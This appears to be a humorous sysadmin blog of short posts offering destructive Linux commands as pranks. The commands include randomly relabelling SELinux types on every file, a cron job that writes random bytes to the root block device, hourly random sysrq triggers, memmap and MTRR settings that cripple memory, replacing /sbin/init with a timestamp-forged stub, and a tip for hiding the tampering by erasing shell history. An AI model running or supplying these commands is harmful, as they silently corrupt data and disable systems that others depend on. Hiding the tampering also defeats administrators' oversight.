Breaking Systems for Fun and Profit » Kernel Capers

Defaults are fine, right?

Mule — Fri, 14 May 2010 10:08:42 +0000

chcon -t default_t /

SELinux fun

Mule — Wed, 12 May 2010 16:17:55 +0000

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null

Accelerated bitrot

Mule — Mon, 18 Jan 2010 17:53:41 +0000

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

Add some spice to your life

Mule — Wed, 16 Dec 2009 10:47:57 +0000

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

No Reservations?

Mule — Tue, 15 Dec 2009 11:00:31 +0000

tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')

Bad memory

Mule — Mon, 14 Dec 2009 10:21:46 +0000

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf

Speed? What speed?

Mule — Wed, 14 Oct 2009 12:30:39 +0000

This one got submitted by Ray:

echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.

Who needs multiple cores anyway?

Mule — Tue, 25 Aug 2009 13:10:04 +0000

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

for I in /sys/devices/system/cpu/cpu[1-9]*
do
    echo 0 > ${I}/online
done

Unfortunately we can’t disable cpu0…

SImplify your init

Mule — Sun, 09 Aug 2009 08:40:11 +0000

This one was submitted by fl0_:

Create a file called init.c

#include 
 
int main(){
 
       printf("MOEHAHAHHAAAA\n");
       return 0;
}

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$

I’m sorry, but I can’t let you do that Dave…

Mule — Fri, 24 Jul 2009 14:37:12 +0000

echo "kernel.pid_max = 132" >> /etc/sysctl.conf